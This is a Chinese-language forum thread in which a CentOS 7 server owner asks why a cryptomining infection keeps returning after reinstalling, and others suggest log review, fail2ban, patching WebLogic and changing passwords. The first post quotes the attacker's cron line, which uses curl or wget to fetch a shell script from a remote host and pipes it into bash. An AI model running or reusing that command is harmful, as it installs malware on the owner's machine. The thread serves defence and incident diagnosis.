求助！！！contOS7 中挖矿病毒，重装系统后第二天还是出现同样的问题

Archer丶松

被攻破root用户， 以root用户创建了定时任务。拉取的攻击脚本的cron定时任务：30 23 * * * root (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh
上述链接中我下载下来看过，为一个shell脚本

必须申明的是： 服务器就这孤零零的一台， 不存在平行传播的可能性。

网上有朋友提及redis， 但是我的redis是以docker 运行， 端口并没有暴露出去， 阿里云上， 也没有开放redis的端口。
也有人说是通过nginx攻击

经过一次格盘重装， 但是工作日一早起来就发现再次中毒。


并且： ssh 禁用root登录， 更换了默认端口。 服务器使用宝塔面板管理系统应用和数据库等资源。经过查看服务器里面的服务， 应用和必要程序都没有删除。
没有信息丢失。




统一回复：经过重装等操作并没有实际解决后，购买了阿里的防火墙，同一IP访问频率过快或进行敏感操作的话就会被防火墙禁用IP（最终解决方式花钱）

Andrea

不用面板手动搭建一个试试，原因自己猜~
然后，我们根据已知情况来排查，日志有没有被干掉，没有的话，去看下啥时候上来的。然后去分析一下业务访问的IP，有没有比较奇怪的。然后排查自己使用的各种中间件和组件有没有加固~最后禁用root远程登录，管理员账户密码设置强一点，把ssh防爆破用起来denyhost和fail2ban选一个，都很好使

流年

这个我们公司也中过，反反复复，怎么重装，重新部署，怎么限制，它都会回来。最后记录所有来自外接的扫描日志，才发现攻击者是通过weblogic的xml注入漏洞进来拿到webshell，然后再提权拿下服务器，种进来的病毒。
升级打上对应的weblogic补丁后，世界终于安静了，再也没进来过。

Archer丶松

有没有大神能提供解决方法呀~感谢！！！！

K1n9

密码被猜到了吧，把root密码换了他。

codinglife

我之前遇到过，阿里云重装系统就可以了，做好备份

Archer丶松

K1n9 发表于 2021-3-22 13:12
密码被猜到了吧，把root密码换了他。

试过了，root密码更换过，第二天发现同样的问题。

Archer丶松

codinglife 发表于 2021-3-22 13:18
我之前遇到过，阿里云重装系统就可以了，做好备份

就是使用阿里云重装之后发现同样的问题，才过来求助的。不知道为啥

TughluqLTD

学习学习

Archer丶松

流年 发表于 2021-3-22 13:42
这个我们公司也中过，反反复复，怎么重装，重新部署，怎么限制，它都会回来。最后记录所有来自外接的扫描日 ...

嗯嗯，好的好的，我去试试~